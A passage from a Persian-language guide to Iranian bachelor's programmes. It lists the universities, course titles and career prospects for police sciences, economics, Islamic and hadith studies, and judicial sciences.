    ۴۵ گفتار درمانی ۴۶ متون تخصصی به زبانهای خارجی
    ۴۷ مقدمات برنامه ریزی آموزشی و درسی ۴۸ مقدمات تکنولوژی آموزشی
    ۴۹ مقدمات روش تحقیق در علوم تربیتی ۵۰ مقدمات مدیریت آموزشی
    ۵۱ مقدمات مشاوره و راهنمایی ۵۲ کارورزی در روشهای تدریس
    ۵۳ کلیات اقتصاد ۵۴ کلیات فلسفه

    صنعت و بازارکار
    ۱-دبیر مدارس دانش آموزان استثنایی (عقب مانده ذهنی )
    ۲-مربی مراکز نگهداری کودکان عقب مانده ذهنی
    ۳-مدیر مراکز کودکان و دانش آموزان عقب مانده ذهنی
    ۴-کارشناس گزینش و تشخیص کودکان عقب مانده ذهنی
    ۵-کارشناس آموزش و پرورش کودکان و دانش آموزان عقب مانده ذهنی در موسسات گوناگون از قبیل : وزارت آموزش و پرورش و سازمان بهزیستی کشور.

  20. علوم انتظامی
    مقدمه
    اهمیت و نقش آموزش بویژه در ارتقاء سطح کارآیی افراد و تأمین نیازهای تخصصی جامعه بر همگان مبرهن است. حفظ امنیت در نظام اسلامی متکی به وجود پرسنلی بوده که در جهت انجام مأموریت های متنوع و گسترده ای که در این راستا وجود دارد تربیت یافته از آخرین تکنیک ها و تاکتیک های انتظامی که منطبق با آخرین دستاوردهای علمی نیز باشد، بهره مند گردیده باشند.
    لذا برنامه کارشناسی علوم انتظامی با گرایش های انتظامی، اطلاعات، مهندسی، اداری و مالی، خدمات پشتیبانی و ارتباطات انتظامی به منظور تامین کادر متخصص و کاردان در بخشهای مختلف نیروی انتظامی تهیه گردیده است.
    تعریف و هدف:
    دوره کارشناسی علوم انتظامی یکی از مجموعه برنامه های آموزش عالی بوده که به منظور ارتقاء سطح کیفی داوطلبان خدمت در نیروی انتظامی که با مدرک دیپلم استخدام می گردند. طراحی گردیده است.
    هدف تربیت کارشناسان متعهد با مهارتهای علمی و نظری در زمینه های مختلف ماموریتهای نیروی انتظامی است.

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ افسری امام علی *
    ۲ امام حسین تهران *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ آئین نامه راهنمایی و رانندگی ۲ آزمایشگاه ماشینهای الکتریکی
    ۳ آزمایشگاه مدارهای منطقی ۴ آزمایشگاه الکترونیک
    ۵ آزمایشگاه اندازه گیری و مدار ۶ آزمایشگاه فیزیک الکتریسیته
    ۷ آسیب شناسی و مفاسد اجتماعی ۸ آشنایی با کامپیوتر
    ۹ آشنایی با راهنمایی و رانندگی ۱۰ آشنایی با سازمان و وظایف پرسنلی
    ۱۱ آشنایی با قاچاق ۱۲ آشنایی با مرزبانی، گذرنامه و اتباع خارجه
    ۱۳ آشنایی با کشورهای همجوار ۱۴ آنتن و انتشار امواج
    ۱۵ آیین دادرسی مدنی ۱ ۱۶ آیین دادرسی مدنی ۲
    ۱۷ آیین دادرسی کیفری ۱ ۱۸ آیین دادرسی کیفری ۲
    ۱۹ احزاب و گروهکها ۲۰ اردوگاه
    ۲۱ اصول بیمه و تامین اجتماعی ۲۲ اصول حسابداری
    ۲۳ اصول حفاظت و امنیت مخابرات و جنگهای الکترونیک ۲۴ اصول علم اقتصاد
    ۲۵ اصول مدیریت بازرگانی و حقوق تجارت ۲۶ اطلاع رسانی
    ۲۷ اطلاعات رزمی ۲۸ اعتبارات سر رشته داری
    ۲۹ الکترونیک ۱ ۳۰ الکترونیک ۲
    ۳۱ اندازه گیری الکتریکی و الکترونیکی ۳۲ بازجوئی و مصاحبه
    ۳۲ بازجوئی و مصاحبه ۳۳ باند و راه
    ۳۴ بایگانی و مدیریت اسناد ۳۵ بزهکاری اطفال و نوجوانان
    ۳۶ بودجه ۳۷ بودجه و روش انجام معاملات دولتی
    ۳۸ پزشکی قانونی ۳۹ پیشگیری و اطفاء حریق
    ۴۰ تاریخ سیاسی معاصر ایران ۴۱ تاسیسات ساختمان و کارگاه تاسیسات
    ۴۲ تاکتیک دسته در آفند و دافند ۴۳ تاکتیک گروهان
    ۴۴ تعمیر و نگهداری سلاح، شناسایی مهمات و مواد منفجره ۴۵ تنظیم گزارشات قضائی
    ۴۶ جامعه شناسی شهری و روستایی ۴۷ جرائم نیروهای مسلح
    ۴۸ جزئیات اجرایی ساختمان ۴۹ جغرافیا
    ۵۰ جغرافیای شهری و روستایی ۵۱ جمع آوری ۱
    ۵۲ جمع آوری ۲ ۵۳ جنگ افزار شناسی سبک و نیمه سنگین
    ۵۴ جنگ افزار شناسی نیمه سنگین ۵۵ جنگ افزار شناسی نیمه سنگین ۲
    ۵۶ جنگهای ویژه ۵۷ حسابداری و حسابرسی دولتی
    ۵۸ حفاظت اطلاعات ۵۹ حفاظت اطلاعات ۲
    ۶۰ حقوق اداری ۶۱ حقوق اساسی
    ۶۲ حقوق جزای اختصاصی ۱ ۶۳ حقوق جزای اختصاصی ۲
    ۶۴ حقوق جزای عمومی ۱ ۶۵ حقوق مدنی
    ۶۶ حمل بار، مسافر و تناژ و ابعاد وسایل نقلیه ۶۷ دروس تحقیقاتی
    ۶۸ دفاع شخصی ۶۹ رسم فنی نقشه کشی متره و برآورد
    ۷۰ روانشناسی اجتماعی ۷۱ روانشناسی رشد (نوجوانی و جوانی)
    ۷۲ روش ها و فنون تدریس ۷۳ روشهای تحقیق و ماخذشناسی
    ۷۴ ریاضیات پایه و مقدمات آمار ۷۵ ریاضیات پایه ۱
    ۷۶ ریاضیات پایه ۲ ۷۷ زبان تخصصی
    ۷۸ سازمان و مدیریت اطلاعات ۷۹ سازمان و مدیریت و نگرشی بر مدیریت اسلامی
    ۸۰ سازمان و وظایف مهندسی ناجا و کلیات رشته مهندسی ۸۱ سازمان و وظایف نیروی انتظامی
    ۸۲ سازمان وظایف لجستیک ناجا (مخابرات) ۸۳ سوئیچینگ
    ۸۴ سوار کاری ۸۵ شماره گذاری، آزمایشات رانندگی و تصادفات
    ۸۶ شناخت تهدیدات امنیتی و اجتماعی ۸۷ شناسایی مین و تله های انفجاری
    ۸۸ عبور از موانع و عملیات اعتماد به نفس ۸۹ عقیدتی سیاسی
    ۹۰ عملیات اطلاعات ۹۱ عملیات انبارداری
    ۹۲ عملیات در کویر، کوهستان و جنگل ۹۳ عملیات گشتی، کمین و ضد کمین
    ۹۴ فعالیتهای پنهانی و سازمانهای اطلاعاتی ۹۵ فیزیک الکتریسیته
    ۹۶ فیزیک عمومی (مکانیک- سیالات- الکتریسیته) ۹۷ قانون محاسبات و قوانین و مقررات مالی
    ۹۸ قانون و مقررات استخدامی ۹۹ گزارش نویسی
    ۱۰۰ مبانی جامعه شناسی ۱۰۱ مبانی علم سیاست
    ۱۰۲ مبانی اطلاعات ۱۰۳ مبانی امور انتظامی ۲
    ۱۰۴ مبانی مدیریت دولتی ۱۰۵ مخابرات
    ۱۰۶ مخابرات پیشرفته ۱۰۷ مخابرات و مدارات مخابراتی
    ۱۰۸ مدارهای الکتریکی ۱۰۹ مدارهای منطقی (دیجیتال)
    ۱۱۰ مدیریت منابع انسانی ۱۱۱ مدیریت تعمیر و نگهداری خودرو
    ۱۱۲ مدیریت تهیه و خرید ۱۱۳ مدیریت حمل و نقل و امور ترابری
    ۱۱۴ مدیریت خدمات پشتیبانی ۱۱۵ مصالح ساختمانی و کارگاه ساختمان
    ۱۱۶ مقابله با سوانح و بلایا ۱۱۷ مقدمه علم حقوق
    ۱۱۸ مکانیک اتومبیل ۱۱۹ مکانیک اتومبیل ۲
    ۱۲۰ مین و تخریب و استحکامات صحرایی ۱۲۱ نقشه خوانی
    ۱۲۲ هدایت پاسگاه دسته و گروهان ۱۲۳ هیدرولوژی و سازه های آبی
    ۱۲۴ ورزش رزمی ۱۲۵ ورزش گروهی
    ۱۲۶ وظایف فرمانده پاسگاه در شرایط عملیاتی ۱۲۷ وظیفه عمومی
    ۱۲۸ کاربرد قانون سلاح ۱۲۹ کارگاه برق
    ۱۳۰ کارگاه برق و ماشین های الکتریکی ۱۳۱ کارگاه جوشکاری
    ۱۳۲ کارورزی ۱۳۳ کارورزی ۲
    ۱۳۴ کامپیوتر ۲ ۱۳۵ کشف علمی جرائم ۱
    ۱۳۶ کشف علمی جرائم ۲ ۱۳۷ کنترل اجتماعات

    صنعت و بازارکار
    برنامه ریزی ۶ گرایش در دوره کارشناسی علوم انتظامی با توجه به تنوع تخصص های مورد نیاز سازمان نیروی انتظامی انجام یافته که توانمندی و نقش حاصله از آن به شرح ذیل ارائه می گردد.
    ۱- گرایش انتظامی:
    در جهت تربیت و تامین کادر افسری نیروی انتظامی جهت تصدی مشاغلی از قبیل فرماندهی پاسگاههای انتظامی، هدایت گروه های کوچک در حد دسته و گروهان و خدمات عمومی راهنمایی و رانندگی در حد کارشناس راهنمایی و رانندگی برنامه ریزی شده است.
    ۲- گرایش اطلاعات:
    در جهت تربیت و تامین کادر افسری نیروی انتظامی در رسته های اطلاعات، حفاظت اطلاعات و کشف جرائم به نحوی که به صورت عمومی آمادگی علمی تصدی مشاغل مربوطه را در واحدهای اجرایی و ستادی ناجا دارا باشند.
    ۳- گرایش مهندسی:
    در جهت تربیت و تامین کادر افسری نیروی انتظامی در رسته مهندسی به نحوی که توانمندی اداره عمومی امور مشاغل مربوطه را در این رسته دارا باشند.
    ۴- گرایش اداری و مالی:
    در جهت تربیت و تامین کادر افسری نیروی انتظامی در رسته های اداری و مالی به نحوی که به صورت عمومی آمادگی علمی تصدی مشاغل مربوطه را در واحدهای اجرایی و ستادی ناجا دارا باشند.
    ۵- گرایش خدمات پشتیبانی:
    در جهت تربیت و تامین کادر افسری نیروی انتظامی در رسته های ترابری اردنانس و سر رشته داری به نحوی که توانمندی اداره عمومی مشاغل مربوطه را در این رسته ها دارا باشند.
    ۶- گرایش ارتباطات انتظامی:
    در جهت تربیت و تامین کادر افسری نیروی انتظامی در رسته مخابرات به نحوی که توانمندی اداره عمومی امور مشاغل مربوطه را در این رسته دارا باشند.

  21. رشته علوم اقتصادی دارای شش گرایش می باشد. این گرایشها عبارتست از :
    ۱-اقتصاد نظری
    ۲-اقتصاد بازرگانی
    ۳-اقتصاد صنعتی
    ۴-اقتصاد حمل و نقل
    ۵-اقتصاد پول و بانکداری
    ۶-اقتصاد کشاورزی ، گرایش اقتصاد بازرگانی دارای گرایش بیمه می باشد.
    اهداف کلی آموزشی برنامه عبارت است از تعلیم و تربیت کارشناسانی که بتوانند:
    الف) دیدگاه و تفکری که منبعث از جهان بینی اسلام و منطبق با اصول و ضوابط مکتب اقتصادی اسلام باشد دریافت کنند.
    ب)مسائل و مشکلات اقتصادی واحدهای بخش عمومی و خصوصی را مورد بررسی و تجزیه و تحلیل عملی قرار داده ، در ارائه طریق با کارشناسان ارشد همکاری کنند.
    ج)در سطوح مختلف مدیریت اقتصادی واحدهای دولتی و غیردولتی با استفاده از تجربیات علمی انجام وظیفه کنند.
    د)بنیه علمی لازم برای ادامه تحصیلات عالیه و کسب تخصص در سطوح بالاتر را تحصیل کنند.
    طول دوره و شکل نظام
    طول دوره کارشناسی علوم اقتصادی در هر شش گرایش ، چهار سال است و نظام آموزشی آن واحدی است.
    کلیه دروس در هشت نیمسال تحصیلی ارائه می شود. طول هر نیمسال تحصیلی ۱۷ هفته است . مدت هر واحد نظری ۱۷ ساعت و هر واحد کارورزی ۶۸ ساعت در طول یک نیمسال تحصیلی است.

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- ارسنجان *
    ۲ آزاد- قایم شهر *
    ۳ آزاد- مرودشت *
    ۴ آزاد- یاسوج *
    ۵ زاهدان *
    ۶ علامه طباطبائی *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ آمار ۱ ۲ آمار ۲
    ۳ ارزیابی طرح های اقتصادی ۴ ارزیابی طرحهای اقتصادی
    ۵ اصول حسابداری ۱ ۶ اصول حسابداری ۲
    ۷ اصول سازمان و مدیریت ۸ اقتصاد ایران
    ۹ اقتصاد بخش عمومی ۱ ۱۰ اقتصاد توسعه
    ۱۱ اقتصاد خرد ۱ ۱۲ اقتصاد خرد ۲
    ۱۳ اقتصاد سنجی ۱۴ اقتصاد منابع
    ۱۵ اقتصاد کشاورزی ۱۶ اقتصاد کلان ۱
    ۱۷ اقتصاد کلان ۲ ۱۸ بازاریابی محصولات کشاورزی
    ۱۹ پژوهش عملیاتی ۲۰ پول و بانکداری
    ۲۱ تجارت بین الملل ۲۲ توسعه و سیاست کشاورزی
    ۲۳ جامعه شناسی روستایی ۲۴ جغرافیای اقتصادی ایران
    ۲۵ حقوق تجارت ۲۶ روش تحقیق
    ۲۷ ریاضیات ۱ ۲۸ ریاضیات ۲
    ۲۹ زبان خارجی ۲ ۳۰ مالیه بین الملل
    ۳۱ مبانی جامعه شناسی ۳۲ مبانی فقهی اقتصاد اسلام
    ۳۳ مدیریت مزرعه ۳۴ نظام اقتصادی صدر اسلام
    ۳۵ نظامهای اقتصادی

    صنعت و بازارکار
    فارغ التحصیلان دوره کارشناسی علوم اقتصادی از سطحی از مهارتها و توانمندی ها برخوردار می شوند که قادر به تجزیه و تحلیل مسائل اقتصادی در زمینه های صنعتی ، کشاورزی ، بازرگانی و خدمات در سطح کارشناسی شوند.
    آنها همچنین آمادگی مشارکت و همکاری در ارائه خدمات برنامه ریزی ، ارزیابی و پیش بینی و مشاوره در زمینه های مختلف اقتصادی را دارا می باشند .
    ایشان صلاحیت احراز مشاغل کارشناسی در موسسات دولتی و غیردولتی را نیز خواهند داشت.

  22. مقدمه

    قرآن کتاب آسمانی و سرچشمه علوم گوناگون اسلامی مانند علوم ادبی و نیز علوم قرآنی، تاریخ قرآن و منبع بسیاری از علوم ادبی و نیز علوم خاص حدیث و علم رجال و تراجم است. همچنانکه قرآن و سنت دو رکن وحدت امت اسلامی و مایه اولیه علم فقه و کلام و عرفانند، مایه اولیه علم تاریخ اسلام نیز می باشند.
    همانطور که گفته شد قرآن و سنت دو اصل اصیل مورد اتفاق و مایه علوم اسلامی و وحدت و همبستگی مسلمانان است و یکی از اهداف تدریس این رشته تقریب بین مذاهب اسلامی است.
    مسلماً همه این علوم در فهم و درک صحیح کتاب و سنت و در تشخیص صحیح و سقیم احادیث و اطلاع از سیره رسول اکرم صلی‌الله‌علیه‌وآله‌وسلم و صحابه گرامی و ائمه به ما کمک کرده و نیاز مبرمی به فراگیری آنها احساس می شود.
    ضرایب دروس دبیرستانی مربوط به این رشته در آزمون ورودی دانشگاهها و موسسات آموزش عالی عبارتند از: ضریب ۱ برای درس ریاضی، ضریب ۱ برای درس اقتصاد، ضریب ۳ برای درس ادبیات فارسی، ضریب ۳ برای زبان عربی، ضریب ۲ برای درس فلسفه و منطق و ضریب ۱ برای درس روانشناسی.
    چون دروس این رشته به دو زبان فارسی و عربی تدریس می شود، دانشجویان این دوره باید به حد کافی با این دو زبان آشنا باشند. علاقه به تحقیق و مطالعه مستمر بخصوص پیرامون مسائل اسلامی و قرآنی و همچنین داشتن قدرت بیان و حافظه خوب از عوامل موفقیت در این رشته است.

    سطوح رشته

    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- تهران * ‌
    ۲ مذاهب اسلامی *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ آشنایی با ادیان ۲ آشنایی با ادیان توحیدی (زرتشتی، یهودی، مسیحیت)
    ۳ آشنایی با اصول فقهه ۴ آشنایی با علم رجال
    ۵ آشنایی با علوم اسلامی (عرفان و فلسفه) ۶ آشنایی با علوم حدیث
    ۷ آشنایی با علوم قرآن ۸ آشنایی با فرق اسلامی
    ۹ آشنایی با فرق اسلامی ۲ ۱۰ آشنایی با فقه مقدماتی
    ۱۱ آشنایی با کتب رجال اهل سیت ۱۲ آشنایی با کتب رجال شیعه
    ۱۳ آشنایی با کلیات علوم عقلی ۱۴ آشنایی به علوم رجال ترجمه، فهرست، انساب و طبقات
    ۱۵ ائمه اهل بیت علیه‌السلام و انتقال حدیث ۱۶ ائمه مذاهب اهل سنت و انتقال حدیث
    ۱۷ اجازات رویات حدیث ۱۸ احادیث مشترک امامیه و اهل سنت ۱
    ۱۹ احادیث مشترک امامیه و اهل سنت ۲ ۲۰ احادیث موضوعه ۱
    ۲۱ احادیث موضوعه ۲ ۲۲ اخلاق
    ۲۳ اصحاب اجماع ۲۴ اصحاب اجماع نزد امامیه
    ۲۵ اعراب قرآن ۲۶ اقسام کتب حدیثی و کتابهای اربعین حدیث
    ۲۷ الدوعوه الاسلامیه (روش تبلیغ) ۲۸ انشاءسخنرانی و محاضره
    ۲۹ باستانشناسی در قرآن ۳۰ باستانشناسی قصص قرآن
    ۳۱ بررسی شخصیت رجالی محدثان تابعین ۳۲ بررسی مشترکات و مشتبهات رجال حدیث
    ۳۳ تاثیر حدیث در ادبیات فارسی ۳۴ تاریخ اسلام
    ۳۵ تاریخ اسلام ۱ ۳۶ تاریخ اسلام ۲
    ۳۷ تاریخ اسلام اختصاصی ۱ ۳۸ تاریخ اسلام اختصاصی ۲
    ۳۹ تاریخ اسلام اختصاصی ۳ ۴۰ تاریخ اسلام اختصاصی ۴
    ۴۱ تاریخ اسلام اختصاصی ۵ ۴۲ تاریخ پیامبران ۱
    ۴۳ تاریخ پیامبران ۲ ۴۴ تاریخ تمدن و علوم اسلامی ۱
    ۴۵ تاریخ تمدن و علوم اسلامی ۲ ۴۶ تاریخ حدیث اختصاصی ۱
    ۴۷ تاریخ حدیث اختصاصی ۲ ۴۸ تاریخ حدیث اختصاصی ۳
    ۴۹ تاریخ حدیث اختصاصی ۴ ۵۰ تاریخ حدیث اختصاصی ۵
    ۵۱ تاریخ حدیث اختصاصی ۶ ۵۲ تاریخ حدیث اختصاصی ۷
    ۵۳ تاریخ حدیث تخصصی ۵۴ تاریخ سیاسی و اجتماعی اسلام ۱
    ۵۵ تاریخ سیاسی و اجتماعی اسلام ۲ ۵۶ تاریخ عثمانی و خاورمیانه
    ۵۷ تاریخ فرق اسلامی ۱ ۵۸ تاریخ فرق و مذاهب اسلامی ۱
    ۵۹ تاریخ فرق و مذاهب اسلامی ۲ ۶۰ تاریخ فرهنگ و ادب به زبان عربی
    ۶۱ تاریخ قرآن ۶۲ تاریخ قرآن تخصصی
    ۶۳ تاریخ نگاری در اسلام ۶۴ تربیت بدنی ۲
    ۶۵ ترجمه عربی به فارسی ۶۶ ترجمه فارسی به عربی
    ۶۷ ترجمه متون اسلامی ۶۸ تعلیم و تربیت در اسلام
    ۶۹ تفسیر ترتیبی ۱ ۷۰ تفسیر ترتیبی ۲ه
    ۷۱ تفسیر ترتیبی ۳ ۷۲ تفسیر عمومی ۱
    ۷۳ تفسیر عمومی ۲ ۷۴ تفسیر مقدماتی ۱
    ۷۵ تفسیر مقدماتی ۲ ۷۶ تفسیر موضوعی ۱
    ۷۷ تفسیر موضوعی ۲ ۷۸ تفسیر موضوعی ۳
    ۷۹ توئیقات عام و خاص ۸۰ جغرافیای کشورهای اسلامی ۱
    ۸۱ جغرافیای کشورهای اسلامی ۲ ۸۲ جهان اسلام در عصر حاضر ۱
    ۸۳ جهان اسلام در عصر حاضر ۲ ۸۴ جوامع حدیثی متقدم و متاخر اهل سنت
    ۸۵ جوامع حدیثی متقدم و متاخر شیعه ۸۶ خاندانهای معروف محدثان فریقین
    ۸۷ راویان ضعیف ۸۸ راویان عادل و موثق
    ۸۹ روش تحقیق ۹۰ روش تحقیق در تاریخ
    ۹۱ روش نقد در علوم حدیث ۹۲ زبان تخصصی ۱
    ۹۳ زبان تخصصی ۲ ۹۴ زبان خارجی
    ۹۵ زبان و ادبیات فارسی ۱ ۹۶ زبان و ادبیات فارسی ۲
    ۹۷ زبان و ادبیات فارسی ۳ ۹۸ سلسله حاکمان امرای اسلامی
    ۹۹ سنن النبی صلی‌الله‌علیه‌وآله‌وسلم ۱۰۰ سنن تاریخی در قرآن
    ۱۰۱ سهم حدیث در ادبیات فارسی و عربی ۱۰۲ سهم حدیث در تاریخ و قصص قرآنی
    ۱۰۳ سهم حدیث در تفسیر قرآن ۱۰۴ سهم زبان در نشر احادیث
    ۱۰۵ سیره پیشوایان دینی ۱۰۶ سیری در نهج البلاعه و شروح آن
    ۱۰۷ شرح و تفسیر گزیده‌هایی از نهج البلاغه ۱۰۸ شناخت صحابه
    ۱۰۹ شناخت محدثان ۱۱۰ صرف و نحو ۱
    ۱۱۱ صرف و نحو ۲ ۱۱۲ صرف و نحو ۳
    ۱۱۳ صرف و نحو کاربردی ۱ ۱۱۴ صرف و نحو کاربردی ۲
    ۱۱۵ صرف و نحو کاربردی ۳ ۱۱۶ ضوابط توثیقات عام و خاص
    ۱۱۷ ضوابط و ملاکهای نقد متون حدیثی ۱۱۸ طبقات محدثین امامیه و دیگر مکتبهای شیعه
    ۱۱۹ طریق تحمل حدیث ۱۲۰ علم جرح و تعدیل و تاریخجه و کتب آن
    ۱۲۱ علم رجال از دیدگاه اصولی‌ها و اخباری‌ها ۱۲۲ علم مصطلح الحدیث (درایه)
    ۱۲۳ علم مصطلح الحدیث (درایه) ۲ ۱۲۴ علوم بلاغت ۱ و ۲
    ۱۲۵ علوم بلاغی (معانی و بیان) ۱۲۶ علوم بلاغی ۱
    ۱۲۷ علوم بلاغی ۲ ۱۲۸ علوم قرآنی ۱ و ۲ و۳
    ۱۲۹ غریب الحدیث ۱۳۰ فارسی ۱ و ۲
    ۱۳۱ فرهنگ تقریب ۱ ۱۳۲ فرهنگ تقریب ۲
    ۱۳۳ فقه الحدیث ۱ ۱۳۴ فقه الحدیث ۲
    ۱۳۵ فقه الحدیث ۳ ۱۳۶ فقه الحدیث ۴
    ۱۳۷ قرائت متون معاصر و جراید و مطبوعات ۱۳۸ قرائت مطبوعات و استفاده از رادیو ۱
    ۱۳۹ قرائت مطبوعات و استفاده از رادیو ۲ ۱۴۰ قرائت و تجوید ۱
    ۱۴۱ قرائت و تجوید ۲ ۱۴۲ قرائت و تجوید ۳
    ۱۴۳ قرائت و تجوید قرآن کریم ۱۴۴ قرائت و درک مفاهیم از متون تفسیری
    ۱۴۵ قرائت و درک مفاهیم از متون حدیثی ۱۴۶ قرائت و درک مفاهیم از متون فقهی
    ۱۴۷ مبادی فقه و اصول ۱۴۸ متون اسلامی
    ۱۴۹ متون تاریخی به انگلیسی ۱ ۱۵۰ متون تاریخی به انگلیسی ۲
    ۱۵۱ متون تاریخی به عربی ۱ ۱۵۲ متون تاریخی به عربی ۲
    ۱۵۳ متون تاریخی به فارسی ۱ ۱۵۴ متون تاریخی به فارسی ۲
    ۱۵۵ مستشرقان و حدیث ۱۵۶ مشایخ اجازه و سلسلۀ اجازات
    ۱۵۷ مصادر و اسناد نهج‌البلاغه ۱۵۸ مصطلحات حدیث
    ۱۵۹ مطالعات جغرافیایی درباره رجال حدیث ۱۶۰ معارف اسلامی ۲
    ۱۶۱ مفردات قرآن ۱۶۲ ملاکهای نقد حدیث
    ۱۶۳ منبع شناسی مصطلح الحدیث ۱۶۴ منطق
    ۱۶۵ منطق ۱ ۱۶۶ منطق ۲
    ۱۶۷ مکاتب و روشهای تفسیری ۱ ۱۶۸ مکاتب و روشهای تفسیری ۲
    ۱۶۹ مکاتب و روشهای تفسیری ۳ ۱۷۰ مکالمه و محاضره (سمعی و بصری) ۱
    ۱۷۱ مکالمه و محاضره (سمعی و بصری) ۲ ۱۷۲ مکالمه و محاضره (سمعی و بصری) ۳
    ۱۷۳ مکالمه و محاضره (سمعی و بصری) ۴ ۱۷۴ مکالمۀ عربی ۱
    ۱۷۵ مکالمۀ عربی ۲ ۱۷۶ مکالمۀ عربی ۳
    ۱۷۷ مکالمۀ عربی ۴ ۱۷۸ کتابت و تدوین حدیث ۱
    ۱۷۹ کتابت و تدوین حدیث ۲ ۱۸۰ کتابشناسی تفصیلی رجال و تراجم امامیه
    ۱۸۱ کتابشناسی رجال و تراجم اهل سنت ۱۸۲ کلام ۱ و ۲
    ۱۸۳ کلام و عقاید اسلامی ۱ ۱۸۴ کلام و عقاید اسلامی ۲
    ۱۸۵ کلام و عقاید اسلامی ۳

    صنعت و بازارکار

    دانشجویان طی دوره کارشناسی برحسب استعداد و علاقه در یکی از رشته های اصلی توانائیهای ذیل را بدست خواهند آورد:
    بدست آوردن معلومات بنیادی به منظور ادامه تحصیل در دوره های کارشناسی ارشد و دکتری.
    توانایی تدریس و تحقیق در مدارس و موسسات آموزشی، دانشگاهها، مراکز دینی، فرهنگی و تحقیقاتی.
    کارشناسی در امور مذهبی، تبلیغی و فرهنگی برای داخل و خارج از کشور.
    کارشناس امور تبلیغی و فرهنگی برای سفارتخانه ها، خانه های فرهنگ و رایزنهای فرهنگی جمهوری اسلامی ایران به منظور نشر تفکر تقریب مذاهب اسلامی و گسترش فرهنگ و معارف اسلامی.

  23. علوم قضایی
    در فرهنگ پربار اسلامی و از جمله در قرآن مجید بر لزوم حکم بر اساس ما انزل ا… به کرات تاکید شده است رعایت این دستور که در قانون اساسی جمهوری اسلامی ایران نیز مورد اشاره قرار گرفته است ایجاب می کند که کسانی که تصدی امر قضا را در محاکم کشور بر عهده می گیرند ضمن آشنایی با آخرین تحولاتی که در عالم علم حقوق رخ می دهد، تسلط کافی بر منابع فقه اسلامی داشته باشند، به طوری که مستقیماً بتوانند با مراجعه به کتب فقهی مرجع احکام مربوطه را استخراج نمایند.
    برنامه درسی دوره کارشناسی رشته علوم قضائی
    دانشکده علوم فضائی و خدمات اداری در جهت دسترسی به این هدف مهم تنظیم شده و در آن تلاش شده است که در عین رعایت دروس عمومی و دروس تخصصی مصوب رشته حقوق به طور کامل، با افزودن تعدادی واحد فقهی در برنامه درسی و تعدادی واحد عربی به عنوان دروس پیش نیاز تسلط نسبی دانش آموختگان دانشکده بر موازین فقهی تأمین گردد.
    هدف اولیه از تشکیل دوره کارشناسی علوم فضائی تربیت نیروی کارآمد جهت تصدی مشاغل قضائی در قوه قضائیه جمهوری اسلامی ایران می باشد.
    حداقل و حداکثر تحصیل در دوره کارشناسی علوم قضائی مطابق آئین نامه آموزش مصوب شورای عالی برنامه ریزی است، کلیه دروس حداکثر در (۸) ترم ارائه می گردد. طول هر ترم ۱۷ هفته است و زمان آموزش هر واحد درس از نوع نظری هفته ای یک ساعت و عملی ۲ ساعت است.
    تعداد کل واحد های درس دوره کارشناسی رشته علوم قضائی ۱۳۵ واحد به شرح زیر است:
    • دروس عمومی ۲۰ واحد (همان واحد های مصوب شورای عالی برنامه ریزی برای دوره کارشناسی حقوق)
    • دروس پایه

    سطوح رشته
    ردیف نام دانشگاه کاردانی کارشناسی ارشد دکترا
    ۱ آزاد- آباده *
    ۲ آزاد- بیضاء *
    ۳ آزاد- جیرفت *
    ۴ آزاد- خرم آباد *
    ۵ آزاد- نراق *

    درسهای رشته

    ردیف نام درس ردیف نام درس
    ۱ فارسی ۲ آمار
    ۳ آیات الاحکام ۴ آیین دادرسی مدنی ۱
    ۵ آیین دادرسی مدنی ۲ ۶ آیین دادرسی مدنی ۳
    ۷ آیین دادرسی کیفری ۱ ۸ احوال شخصیه در فقه عامه
    ۹ ادله اثبات دعوی ۱۰ اصطلاحات حقوقی به زبان عربی
    ۱۱ اصول روابط بین الملل (الف و ب) ۱۲ اصول فقه ۱
    ۱۳ اصول فقه ۲ ۱۴ انقلاب اسلامی و ریشه‌های آن
    ۱۵ بزهکاری اطفال ۱ ۱۶ بزهکاری اطفال ۲
    ۱۷ پزشکی قانونی ۱۸ پلیس علمی
    ۱۹ تاریخ اسلام ۲۰ تاریخ حقوق
    ۲۱ تامین اجتماعی ۲۲ تربیت بدنی ۲
    ۲۳ جامعه شناسی حقوق ۲۴ جرم شناسی
    ۲۵ حقوق اداری ۱ ۲۶ حقوق اداری ۲
    ۲۷ حقوق ارتباطات ۲۸ حقوق اساسی ۱
    ۲۹ حقوق اساسی ۲ ۳۰ حقوق بازرگانی بین‌المللی
    ۳۱ حقوق بانکی ۳۲ حقوق بشر در اسلام
    ۳۳ حقوق بیمه ۳۴ حقوق بین‌الملل خصوصی ۱
    ۳۵ حقوق بین‌الملل خصوصی ۲ ۳۶ حقوق بین‌الملل عمومی ۱
    ۳۷ حقوق بین‌الملل عمومی ۳ ۳۸ حقوق تجارت ۱ اشخاص
    ۳۹ حقوق تجارت ۲ شرکتها ۴۰ حقوق تجارت ۳ اسناد تجاری
    ۴۱ حقوق تجارت ۴ ورشکستگی ۴۲ حقوق تطبیقی
    ۴۳ حقوق ثبت ۴۴ حقوق جزای اختصاصی ۱
    ۴۵ حقوق جزای اختصاصی ۲ ۴۶ حقوق جزای اختصاصی ۳
    ۴۷ حقوق جزای عمومی ۱ ۴۸ حقوق جزای عمومی ۲
    ۴۹ حقوق جزای عمومی ۳ ۵۰ حقوق دریایی
    ۵۱ حقوق سازمانهای بین‌المللی ۵۲ حقوق قضایی
    ۵۳ حقوق مدنی ۲ اموال و مالکیت ۵۴ حقوق مدنی ۳ کلیات قرادادها
    ۵۵ حقوق مدنی ۴ الزامات خارج از قراردادها ۵۶ حقوق مدنی ۵ خانواده
    ۵۷ حقوق مدنی ۶ عقود معین ۵۸ حقوق مدنی ۷ عقود معین قسمت ب
    ۵۹ حقوق مدنی ۸ شفعه و وصیت و ارث ۶۰ حقوق مدنی ۸ وصیت و ارث
    ۶۱ حقوق هوایی ۶۲ حقوق و کامپیوتر
    ۶۳ حقوق کار ۶۴ دادرسیهای اختصاصی کیفری
    ۶۵ داوری بین‌المللی ۶۶ رویه قضایی
    ۶۷ زبان خارجی ۶۸ فلسفه حقوق
    ۶۹ قواعد فقه ۱ ۷۰ قواعد فقه ۲
    ۷۱ مالیه عمومی ۷۲ مالکیت معنوی
    ۷۳ مبانی جامعه شناسی ۷۴ مبانی علم اقتصاد
